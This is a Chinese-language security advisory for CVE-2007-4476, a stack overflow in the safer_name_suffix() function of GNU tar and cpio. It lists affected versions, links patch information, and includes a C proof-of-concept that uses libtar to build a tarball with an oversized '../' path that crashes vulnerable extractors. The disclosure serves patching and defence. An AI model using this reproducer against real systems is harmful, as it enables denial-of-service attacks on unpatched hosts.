BUGTRAQ ID: 26445
CVE(CAN) ID: CVE-2007-4476
GNU Tar和GNU Cpio都是流行的用于管理档案文件的程序。
tar和cpio使用的safer_name_suffix()函数使用alloca()报告所要剥离的前缀字符串,而这个字符串的长度(也就是传送给alloca的大小)是受tarball所有者控制的。因此,只要字符串超长就可以触发栈溢出。由于alloca()之后的memcpy()调用,这个溢出只能导致崩溃
GNU cpio 2.6
GNU cpio 2.5
GNU cpio 2.4
GNU cpio 1.x
GNU tar 1.16
GNU tar 1.15
GNU tar 1.14
GNU tar 1.13
可参考如下安全公告获得补丁信息:
<a href=“https://bugzilla.redhat.com/show_bug.cgi?id=280961” target=“_blank”>https://bugzilla.redhat.com/show_bug.cgi?id=280961</a>
/*
* paxlib's safer_name_suffix() stack overflow reproducer.
*/
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <error.h>
#include <fcntl.h>
#include <sys/resource.h>
#include <libtar.h>
int main(int ac, const char *av[])
{
struct rlimit r;
unsigned count, i;
char *s;
TAR *t;
if (ac != 2)
error(1, 0, "exactly two arguments expected");
if (getrlimit(RLIMIT_STACK, &r))
error(1, errno, "getrlimit RLIMIT_STACK");
count = r.rlim_cur / 3 + 1;
if (!(s = malloc(count * 3 + 1)))
error(1, errno, "malloc: %u", count * 3 + 1);
for (i = 0; i < count; ++i)
memcpy(s + i * 3, "../", 3);
s[count * 3] = '\0';
if (tar_open(&t, av[1], NULL, O_WRONLY|O_CREAT, 0644, TAR_GNU))
error(1, errno, "tar_open: %s", av[1]);
if (tar_append_file(t, "/dev/null", s))
error(1, errno, "tar_append_file: %s", av[1]);
if (tar_close(t))
error(1, errno, "tar_close");
return 0;
}